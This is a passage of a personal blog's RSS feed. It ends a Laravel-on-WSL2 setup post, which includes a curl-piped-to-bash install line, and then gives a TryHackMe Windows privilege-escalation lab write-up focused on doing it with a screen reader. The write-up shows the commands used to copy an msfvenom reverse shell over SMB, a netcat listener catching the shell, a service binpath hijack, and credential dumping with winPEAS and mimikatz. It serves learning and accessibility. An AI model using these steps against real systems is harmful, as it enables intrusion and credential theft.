We can add entries for individual sites to C:/Windows/System32/drivers/etc/hosts to route hosts to 127.0.0.1 individually, or we can use the .localhost top-level domain. To my knowledge, only Chrome currently supports this. If you want to go that route:</p>

<pre><code>valet domain localhost
</code></pre>

<h3 id="installing-laravel" id="installing-laravel">Installing Laravel</h3>

<p>We can install Laravel in several ways, here&#39;s a few.</p>

<h4 id="using-docker-and-laravel-sail" id="using-docker-and-laravel-sail">Using Docker and Laravel Sail</h4>

<p>Given we already have docker set up, we can use a relatively new addition to the Laravel ecosystem, Laravel Sail. to do this, run the following, where the bit after the TLD is the name of the folder for the project:</p>

<pre><code>curl -s https://laravel.build/helloWorld | bash
</code></pre>

<p>This will do a whole bunch of docker magic, after which your application will be accessible on projectname.localhost from chrome. You can <a href="https://laravel.com/docs/8.x/sail">read more about Laravel Sail here</a>.</p>

<h4 id="using-composer" id="using-composer">Using Composer</h4>

<p>We have composer installed and ready to go, so an alternate way of doing this is by using our already existing infrastructure:</p>

<pre><code>composer global require laravel/installer
laravel new &lt;project name&gt;
</code></pre>

<h3 id="conclusion" id="conclusion">Conclusion</h3>

<p>From here, the existing docs can take over. VS Code is a topic in itself, and will probably merit its own post at some point. Using the various extensions it provides, you can work within the WSL2 container, set up your PHP tools on the WSL2 site in order to get linting and static checking support etc.
That&#39;s enough out of me for now.</p>
]]></content:encoded>
      <guid>https://florianbeijers.xyz/setting-up-a-php-laravel-environment-on-wsl2-and-windows</guid>
      <pubDate>Sat, 06 Mar 2021 23:44:48 +0000</pubDate>
    </item>
    <item>
      <title>THM Windows PrivEsc box with a Screen Reader</title>
      <link>https://florianbeijers.xyz/thm-windows-privesc-box-with-a-screen-reader?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[Intro&#xA;This year, I have committed to learning more about cybersecurity. This has always been an interest of mine but I never could find the time and resources to properly level up on this particular topic. I do now, and it&#39;s been a lot of fun so far.&#xA;!--more--&#xA;Through a bit of luck I got my hands on a voucher for TryHackMe which , together with the circumstances we&#39;re in right now, gave me the means to properly pursue this interest.&#xA;&#xA;So far, I have been following the so-called &#34; Complete Beginner Learning Path&#34; which essentially allows you to dip your toes into various aspects of this field.&#xA; It covers things like basic networking, Linux fundamentals and simple vulnerability exploitation through little project-based, learn-as-you-go-style challenges called rooms, in which bite-sized helpings of theory are interspersed with exercises and attack simulations to put what you&#39;ve just learned to use in a more practical setting.&#xA;Why this room in particular?&#xA;Most rooms so far, I have been able to complete successfully with a screenreader without doing all that much to dodge around accessibility restrictions. The only time this came up was when using an actual GUI tool to analyze web traffic, and I&#39;m sure I&#39;ll add a write-up of that particular room one day as well. This room however had me scratching my head for a minute, because your only starting point in is RDP, which is completely inaccessible as it only passes along bitmaps of the target machine, no actual info a screen reader can do anything with. &#xA;I managed to dodge around it, and the way I describe it here is obviously not a pleasant way of working at all. RDP , for blind hackers, should probably always be an absolute last resort, preferring almost anything over actually using this as a way in. What follows next is what would happen if you have absolutely no other recourse left, and is not representative of how difficult hacking is for screenreader users in general. The majority of things I have come in contact with so far, including web application hacking and wireless packet analysis, is easier and more doable by several orders of magnitude given the right tools are used, many of which are industry standard.&#xA;The actual write-up so the TLDR folks can quickly skip to this part&#xA;As a point of principle, I am not going to be adding screenshots to these posts. There&#39;s a dime a dozen posts on Medium that do this already, and the target audience of this post either won&#39;t find them useful anyway, or will have to deal with the fact I am forcing the reader immersion into my workflow by only giving them information I myself have access to. That inadvertently means this is a bit of a wall of text. Ehh ...sorry about that :) Anyway, here we go.&#xA;&#xA;Initial Foothold: Oh no RDP!&#xA;I&#39;m sure I could have ran metasploit against this box, set it to look for vulnerabilities, get a coffee and come back to it having exploited, owned, neutralized and packed up the box for shipping, but where&#39;s the fun in that?&#xA;Fortunately, we only really need the GUI for a very brief interval on this particular engagement. RDP is not a good attack vector for a blind person to depend on as you&#39;ll soon discover, but hey, living off the land and all that.&#xA;The first thing  I tried was to use the browser-based attackbox THM offers you to RDP into the machine. To my delight, sound actually works on these by default which probably means I can install Orca on it and have it talk to me, but something for another time. TODO: Poke someone at THM about having it be installed by default so I don&#39;t have to write a BASH script to do it for me; these boxes only stay up a couple of hours at a time.&#xA;I quickly noticed that using NVDA&#39;s OCR feature on the output of the browser-based machine just wasn&#39;t going to work; there were too many recognition errors to really make anything of the output so I quickly abandoned that idea.&#xA;Next idea: I am running Windows, the box is running Windows, the protocol is RDP. I should just be able to use Remote Desktop to log in, maybe that gives us a clearer picture. I&#39;d have to hook up to the VPN, but that&#39;s doable enough.&#xA;This thing where at times I need to use two operating systems in tandem isn&#39;t new, in my dayjob as a developer this happens all the time as well.&#xA;&#xA;It ... does work better, actually. After logging in, and getting myself stuck because I wasn&#39;t aware ctrl+alt+break of all things is how you stop sending input to the remote session, the  OCR results are quite a bit clearer. Still garbage, but lego-brick-shaped garbage we can actually do something with, kinda.&#xA;&#xA;Us screenreader users have to pretty much depend on keyboard shortcuts for the majority of things, so opening up a commandline blind (heh) is something I don&#39;t even have to think about. Windows+r, cmd, RET.&#xA;crickets&#xA;We need to verify if it actually worked, as there is no screenreader feedback whatsoever while this is happening.&#xA;&#xA;Ctrl+alt+break, nvda+r:&#xA; Rec)/de B Select C:\Windows\system32\CMD.e  e AdminPai PrivESC ~ Shoncw Microsoft Windows [Version 10.6.17763.737] (C) 2618 Microsoft Corporation. All rights reserved C: \Users\user‘ &#xA;&#xA;I know that looks horrid. I&#39;m not going to clean it up. That is what I got back, that&#39;s what I&#39;ll have to deal with. What do we know from this?&#xA;&#xA;This is a Windows 10 box, albeit a somewhat  older one. &#xA;We are user, and we are in c:\users\user. We have write-access there , which is good. &#xA;We may be focused on the prompt line. The fact the word &#34; Select&#34;  is in this output worries me, as that may mean we are not. Hammering down arrow should make sure we are.&#xA;&#xA;Now, all we really need to do here is make sure we get the msfvenom-generated reverse shell over to this box, so we can stop messing around with garbled OCR results and actually get some work done. The idea to use SMB for this, as the room suggests, seems as good a one as any, so let&#39;s do that.&#xA;On the attacking machine:&#xA; python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .&#xA;&#xA;Some explanatory output is returned, the server is just hanging out where we told it to, so now the fun part begins. &#xA;We actually need to perform a command on the remote session to grab our little innocent reverse.exe. I&#39;m sure that just flips strings around. Yes ...that is most certainly what it does, it&#39;s great fun. ;)&#xA;There&#39;s a few ways to paste into a Windows commandline window. There&#39;s the system menu&#39;s edit submenu, there&#39;s a right-click in the right spot, and there&#39;s plain old ctrl+v which doesn&#39;t always work. A quick check, I&#39;ll spare you the garbled mess this time,  reveals that ctrl+v does work in this case.&#xA;&#xA;This is good since it means we can make sure the command we are about to feed to the remote session is free of errors. Feedback in an RDP session is nonexistent, so we can&#39;t see what we&#39;re typing, but we can write the command somewhere else and paste it in there with ctrl+v.  Pay attention, there&#39;s a quiz on these later. ;)&#xA;&#xA;On the remote Windows box:&#xA; copy \\10.10.59.243\kali\reverse.exe .&#xA;And again, ctrl+alt+break, NVDA+r:&#xA; C \Users\user  copy \\10.10.59.243\kali\reverse.exe 1 file(s) copied C:\Users\user  DIR DIR DIR DIR DIR DIR DIR DIR DIR DIR DIR DIR DIR DIR Rec)/C|9 B C:\Windows\system32\cmd.exe C \Users\user  copy \\10.10.59.243\kali\reverse.exe The network path was not found. 3D Objects Contacts Desktop Documents Downloads Favorites Links Music Pictures Saved Games Searches Videos 0 File(s) 0 bytes 14 Dir(s) 30,835,068,928 bytes free == /O Type here to Search O Q&#39; M   &lt;&#xA;I have to point out that I am writing this as I&#39;m doing it, and throughout doing that I lost the machine for a while so had to retrace my steps. The output is entirely in the wrong order; my smb server on the attack box didn&#39;t properly come up the first time which is why copy initially didn&#39;t work, but we can see in that horrible mess that we managed to copy the file. Hurray, we almost have a real shell. And yes, I use that term scathingly, because heck, netcat is better than this.&#xA;&#xA;Speaking of netcat, all we now really need to do is make sure to run reverse.exe, which shouldn&#39;t give us any output. Just imagine I did that, right after starting a netcat listener for it to reverse-shell its way into:&#xA; root@kali:~# nc -lvp 5300&#xA;listening on [any] 5300 ...&#xA;connect to [10.10.59.243] from ip-10-10-28-85.eu-west-1.compute.internal [10.10.28.85] 49778&#xA;Microsoft Windows [Version 10.0.17763.737]&#xA;(c) 2018 Microsoft Corporation. All rights reserved.&#xA;&#xA;C:\Users\user  Woohoo! No more garble garble. We can actually perform the actions we need to do to complete the room from here on out.&#xA;Now for the people watching at home, I deviated from the room in two minor ways to essentially cover my behind in case this would&#39;ve gone south:&#xA;&#xA;I copied the file to the user folder, rather than c:\privesc as indicated, because I wasn&#39;t sure if I would have writing perms there and I did not want to deal with that over an RDP shell.&#xA;I deliberately picked a port over 1024 to not have to use sudo on the kali box which in hindsight probably wasn&#39;t entirely necessary, but there you have it.&#xA;&#xA;Rest of the tasks&#xA;&#xA;I might as well finish this up while I&#39;m here. This isn&#39;t a walkthrough per se, more of a &#34;yo, this is what I ran into&#34; stream-of-consciousness kind of post. I will briefly describe my subsequent steps, unless we run into another fun accessibility challenge of course.&#xA;&#xA;The task we just did was task 2, which is the simplest task in the room. Go figure :)&#xA;Task 3 requires us to first copy to the c:\privesc folder which conveniently holds a bunch of privilege escalation tools for us. Thanks, VM creators, saves me a few downloads :)&#xA;&#xA;The room  takes us through checking a service&#39;s access rights for the given user, and then through changing the binpath to our reverse.exe shell which then connects to a second netcat listener on the same port in order to give us a netcat shell with local system privileges. No real accessibility hurdle here, apart from needing to make very sure you get the binpath invocation exactly right, spacing and all. Use at least &#34;most&#34; for a screen reader&#39;s punctuation setting or go character by character. Or use braille, which makes all of this SO much easier.&#xA;&#xA;This remains true for the following tasks. All of it is commandline-based, even the registry can be efficiently queried using the commandline. In my case there was a hurdle in the fact that there were no creds in the winLogon registry key where there were supposed to be some, but winPeas to the rescue there in combination with one of the privilege escalation methods we already covered to get system-level privileges. Cheating just a little, I&#39;m aware.&#xA;&#xA;Two more tricky bits happened throughout this particular room:&#xA;&#xA;Unfortunately the infoSec community does not appear to be immune to the consequences of Python 2.7 reaching end of life. Kali has marched on, but some tools, notably creddump7, have not. I was unable to get it to run, nor its various forks which claim python3 compatibility. Task 11 will require you to use some other tool; I used mimikatz even though that required me to craft another copy command for the remote session because that tool, at least to my knowledge, needs to be run on the target itself. egh. :(&#xA;&#xA;Towards the end, the room wants you to run powershell as admin, telling you to right-click it and select &#34; Run as Administrator&#34;. You can do that from the keyboard with win+r, powershell, ctrl+shift+enter, alt+y. People writing duckyscript exploits pay attention ;)&#xA;&#xA;Extra Credit&#xA;&#xA;There are screenreaders out there that have the ability to perform their own brand of remote access. This, chiefly, because the existing ones just flat out don&#39;t work very well.  Generally they use a server somewhere as a go-between, relying on an almost Teamviwer-like exchange of keys to connect to each other.&#xA;If you feel you can get away with storing a preconfigured copy of such a screenreader on the target, it should theoretically be relatively painless to set up a connection to that copy and do the RDP stuff that way. &#xA;Obviously that would make the target system spit out a whole bunch of TTS chatter over the default audio device before you have a chance to kill the sound, so it&#39;s not exactly stealthy, but hey ...it&#39;s just another tool. :) For VMs, it might actually work better. For actual engagements ...ehh ...maybe not so much.&#xA;&#xA;Conclusion&#xA;&#xA;I won&#39;t lie. This room was frustrating, it was hard. It took way longer than it probably should have.&#xA;Not because the material covered was particularly hard; it wasnt, not all that much in any case. It was hard because of all the extra effort to make sure the RDP parts go well, to make sure you don&#39;t accidentally kill the netcat listener with a careless ctrl+c as that means you have to do the same song and dance all over again. &#xA;It was hard because I had to figure out some deviations from the instructions; creddump7 didn&#39;t work, I had to fall back to winPEAS to get a stored set of creds that I couldn&#39;t seem to find in the place they should&#39;ve been.&#xA;It was hard because the target would inexplicably go down now and again making me have to do the RDP process described above at least 5-6 times. I&#39;ve gotten faster at it :)&#xA;It was hard. I&#39;m going to do it again. :)&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<h3 id="intro" id="intro">Intro</h3>

<p>This year, I have committed to learning more about cybersecurity. This has always been an interest of mine but I never could find the time and resources to properly level up on this particular topic. I do now, and it&#39;s been a lot of fun so far.

Through a bit of luck I got my hands on a voucher for <a href="https://tryhackme.com">TryHackMe</a> which , together with the circumstances we&#39;re in right now, gave me the means to properly pursue this interest.</p>

<p>So far, I have been following the so-called “ Complete Beginner Learning Path” which essentially allows you to dip your toes into various aspects of this field.
 It covers things like basic networking, Linux fundamentals and simple vulnerability exploitation through little project-based, learn-as-you-go-style challenges called rooms, in which bite-sized helpings of theory are interspersed with exercises and attack simulations to put what you&#39;ve just learned to use in a more practical setting.</p>

<h3 id="why-this-room-in-particular" id="why-this-room-in-particular">Why this room in particular?</h3>

<p>Most rooms so far, I have been able to complete successfully with a screenreader without doing all that much to dodge around accessibility restrictions. The only time this came up was when using an actual GUI tool to analyze web traffic, and I&#39;m sure I&#39;ll add a write-up of that particular room one day as well. This room however had me scratching my head for a minute, because your only starting point in is RDP, which is completely inaccessible as it only passes along bitmaps of the target machine, no actual info a screen reader can do anything with.
I managed to dodge around it, and the way I describe it here is obviously not a pleasant way of working at all. RDP , for blind hackers, should probably always be an absolute last resort, preferring almost anything over actually using this as a way in. What follows next is what would happen if you have absolutely no other recourse left, and is not representative of how difficult hacking is for screenreader users in general. The majority of things I have come in contact with so far, including web application hacking and wireless packet analysis, is easier and more doable by several orders of magnitude given the right tools are used, many of which are industry standard.</p>

<h3 id="the-actual-write-up-so-the-tldr-folks-can-quickly-skip-to-this-part" id="the-actual-write-up-so-the-tldr-folks-can-quickly-skip-to-this-part">The actual write-up so the TLDR folks can quickly skip to this part</h3>

<p>As a point of principle, I am not going to be adding screenshots to these posts. There&#39;s a dime a dozen posts on Medium that do this already, and the target audience of this post either won&#39;t find them useful anyway, or will have to deal with the fact I am forcing the reader immersion into my workflow by only giving them information I myself have access to. That inadvertently means this is a bit of a wall of text. Ehh ...sorry about that :) Anyway, here we go.</p>

<h4 id="initial-foothold-oh-no-rdp" id="initial-foothold-oh-no-rdp">Initial Foothold: Oh no RDP!</h4>

<p>I&#39;m sure I could have ran metasploit against this box, set it to look for vulnerabilities, get a coffee and come back to it having exploited, owned, neutralized and packed up the box for shipping, but where&#39;s the fun in that?
Fortunately, we only really need the GUI for a very brief interval on this particular engagement. RDP is not a good attack vector for a blind person to depend on as you&#39;ll soon discover, but hey, living off the land and all that.
The first thing  I tried was to use the browser-based attackbox THM offers you to RDP into the machine. To my delight, sound actually works on these by default which probably means I can install Orca on it and have it talk to me, but something for another time. TODO: Poke someone at THM about having it be installed by default so I don&#39;t have to write a BASH script to do it for me; these boxes only stay up a couple of hours at a time.
I quickly noticed that using NVDA&#39;s OCR feature on the output of the browser-based machine just wasn&#39;t going to work; there were too many recognition errors to really make anything of the output so I quickly abandoned that idea.
Next idea: I am running Windows, the box is running Windows, the protocol is RDP. I should just be able to use Remote Desktop to log in, maybe that gives us a clearer picture. I&#39;d have to hook up to the VPN, but that&#39;s doable enough.
This thing where at times I need to use two operating systems in tandem isn&#39;t new, in my dayjob as a developer <a href="https://www.freecodecamp.org/news/blind-developer-sighted-team/">this happens all the time as well</a>.</p>

<p>It ... does work better, actually. After logging in, and getting myself stuck because I wasn&#39;t aware ctrl+alt+break of all things is how you stop sending input to the remote session, the  OCR results are quite a bit clearer. Still garbage, but lego-brick-shaped garbage we can actually do something with, kinda.</p>

<p>Us screenreader users have to pretty much depend on keyboard shortcuts for the majority of things, so opening up a commandline blind (heh) is something I don&#39;t even have to think about. Windows+r, cmd, RET.
<em>crickets</em>
We need to verify if it actually worked, as there is no screenreader feedback whatsoever while this is happening.</p>

<p>Ctrl+alt+break, nvda+r:</p>

<pre><code> Rec)/de B Select C:\Windows\system32\CMD.e&gt;&lt;e AdminPai PrivESC ~ Shoncw Microsoft Windows [Version 10.6.17763.737] (C) 2618 Microsoft Corporation. All rights reserved C: \Users\user&gt;‘ 
</code></pre>

<p>I know that looks horrid. I&#39;m not going to clean it up. That is what I got back, that&#39;s what I&#39;ll have to deal with. What do we know from this?</p>
<ul><li>This is a Windows 10 box, albeit a somewhat  older one.</li>
<li>We are user, and we are in c:\users\user. We have write-access there , which is good.</li>
<li>We may be focused on the prompt line. The fact the word “ Select”  is in this output worries me, as that may mean we are not. Hammering down arrow should make sure we are.</li></ul>

<p>Now, all we really need to do here is make sure we get the msfvenom-generated reverse shell over to this box, so we can stop messing around with garbled OCR results and actually get some work done. The idea to use SMB for this, as the room suggests, seems as good a one as any, so let&#39;s do that.
On the attacking machine:</p>

<pre><code> python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
</code></pre>

<p>Some explanatory output is returned, the server is just hanging out where we told it to, so now the fun part begins.
We actually need to perform a command on the remote session to grab our little innocent reverse.exe. I&#39;m sure that just flips strings around. Yes ...that is most certainly what it does, it&#39;s great fun. ;)
There&#39;s a few ways to paste into a Windows commandline window. There&#39;s the system menu&#39;s edit submenu, there&#39;s a right-click in the right spot, and there&#39;s plain old ctrl+v which doesn&#39;t always work. A quick check, I&#39;ll spare you the garbled mess this time,  reveals that ctrl+v does work in this case.</p>

<p>This is good since it means we can make sure the command we are about to feed to the remote session is free of errors. Feedback in an RDP session is nonexistent, so we can&#39;t see what we&#39;re typing, but we can write the command somewhere else and paste it in there with ctrl+v.  Pay attention, there&#39;s a quiz on these later. ;)</p>

<p>On the remote Windows box:</p>

<pre><code> copy \\10.10.59.243\kali\reverse.exe .
</code></pre>

<p>And again, ctrl+alt+break, NVDA+r:</p>

<pre><code> C \Users\user&gt;copy \\10.10.59.243\kali\reverse.exe 1 file(s) copied C:\Users\user&gt;_ &lt;DIR&gt; &lt;DIR&gt; &lt;DIR&gt; &lt;DIR&gt; &lt;DIR&gt; &lt;DIR&gt; &lt;DIR&gt; &lt;DIR&gt; &lt;DIR&gt; &lt;DIR&gt; &lt;DIR&gt; &lt;DIR&gt; &lt;DIR&gt; &lt;DIR&gt; Rec)/C|9 B C:\Windows\system32\cmd.exe C \Users\user&gt;copy \\10.10.59.243\kali\reverse.exe The network path was not found. 3D Objects Contacts Desktop Documents Downloads Favorites Links Music Pictures Saved Games Searches Videos 0 File(s) 0 bytes 14 Dir(s) 30,835,068,928 bytes free == /O Type here to Search O Q&#39; _M &gt;&lt;
</code></pre>

<p>I have to point out that I am writing this as I&#39;m doing it, and throughout doing that I lost the machine for a while so had to retrace my steps. The output is entirely in the wrong order; my smb server on the attack box didn&#39;t properly come up the first time which is why copy initially didn&#39;t work, but we can see in that horrible mess that we managed to copy the file. Hurray, we almost have a real shell. And yes, I use that term scathingly, because heck, netcat is better than this.</p>

<p>Speaking of netcat, all we now really need to do is make sure to run reverse.exe, which shouldn&#39;t give us any output. Just imagine I did that, right after starting a netcat listener for it to reverse-shell its way into:</p>

<pre><code> root@kali:~# nc -lvp 5300
listening on [any] 5300 ...
connect to [10.10.59.243] from ip-10-10-28-85.eu-west-1.compute.internal [10.10.28.85] 49778
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\user&gt;
</code></pre>

<p>Woohoo! No more garble garble. We can actually perform the actions we need to do to complete the room from here on out.
Now for the people watching at home, I deviated from the room in two minor ways to essentially cover my behind in case this would&#39;ve gone south:</p>
<ul><li>I copied the file to the user folder, rather than c:\privesc as indicated, because I wasn&#39;t sure if I would have writing perms there and I did not want to deal with that over an RDP shell.</li>
<li>I deliberately picked a port over 1024 to not have to use sudo on the kali box which in hindsight probably wasn&#39;t entirely necessary, but there you have it.</li></ul>

<h4 id="rest-of-the-tasks" id="rest-of-the-tasks">Rest of the tasks</h4>

<p>I might as well finish this up while I&#39;m here. This isn&#39;t a walkthrough per se, more of a “yo, this is what I ran into” stream-of-consciousness kind of post. I will briefly describe my subsequent steps, unless we run into another fun accessibility challenge of course.</p>

<p>The task we just did was task 2, which is the simplest task in the room. Go figure :)
Task 3 requires us to first copy to the c:\privesc folder which conveniently holds a bunch of privilege escalation tools for us. Thanks, VM creators, saves me a few downloads :)</p>

<p>The room  takes us through checking a service&#39;s access rights for the given user, and then through changing the binpath to our reverse.exe shell which then connects to a second netcat listener on the same port in order to give us a netcat shell with local system privileges. No real accessibility hurdle here, apart from needing to make very sure you get the binpath invocation exactly right, spacing and all. Use at least “most” for a screen reader&#39;s punctuation setting or go character by character. Or use braille, which makes all of this SO much easier.</p>

<p>This remains true for the following tasks. All of it is commandline-based, even the registry can be efficiently queried using the commandline. In my case there was a hurdle in the fact that there were no creds in the winLogon registry key where there were supposed to be some, but winPeas to the rescue there in combination with one of the privilege escalation methods we already covered to get system-level privileges. Cheating just a little, I&#39;m aware.</p>

<p>Two more tricky bits happened throughout this particular room:</p>
<ul><li><p>Unfortunately the infoSec community does not appear to be immune to the consequences of Python 2.7 reaching end of life. Kali has marched on, but some tools, notably creddump7, have not. I was unable to get it to run, nor its various forks which claim python3 compatibility. Task 11 will require you to use some other tool; I used mimikatz even though that required me to craft another copy command for the remote session because that tool, at least to my knowledge, needs to be run on the target itself. egh. :(</p></li>

<li><p>Towards the end, the room wants you to run powershell as admin, telling you to right-click it and select “ Run as Administrator”. You can do that from the keyboard with win+r, powershell, ctrl+shift+enter, alt+y. People writing duckyscript exploits pay attention ;)</p></li></ul>

<h3 id="extra-credit" id="extra-credit">Extra Credit</h3>

<p>There are screenreaders out there that have the ability to perform their own brand of remote access. This, chiefly, because the existing ones just flat out don&#39;t work very well.  Generally they use a server somewhere as a go-between, relying on an almost Teamviwer-like exchange of keys to connect to each other.
If you feel you can get away with storing a preconfigured copy of such a screenreader on the target, it should theoretically be relatively painless to set up a connection to that copy and do the RDP stuff that way.
Obviously that would make the target system spit out a whole bunch of TTS chatter over the default audio device before you have a chance to kill the sound, so it&#39;s not exactly stealthy, but hey ...it&#39;s just another tool. :) For VMs, it might actually work better. For actual engagements ...ehh ...maybe not so much.</p>

<h3 id="conclusion" id="conclusion">Conclusion</h3>

<p>I won&#39;t lie. This room was frustrating, it was hard. It took way longer than it probably should have.
Not because the material covered was particularly hard; it wasnt, not all that much in any case. It was hard because of all the extra effort to make sure the RDP parts go well, to make sure you don&#39;t accidentally kill the netcat listener with a careless ctrl+c as that means you have to do the same song and dance all over again.
It was hard because I had to figure out some deviations from the instructions; creddump7 didn&#39;t work, I had to fall back to winPEAS to get a stored set of creds that I couldn&#39;t seem to find in the place they should&#39;ve been.
It was hard because the target would inexplicably go down now and again making me have to do the RDP process described above at least 5-6 times. I&#39;ve gotten faster at it :)
It was hard. I&#39;m going to do it again. :)</p>
]]></content:encoded>
      <guid>https://florianbeijers.xyz/thm-windows-privesc-box-with-a-screen-reader</guid>
      <pubDate>Thu, 25 Feb 2021 17:58:31 +0000</pubDate>
    </item>
  </channel>
</rss>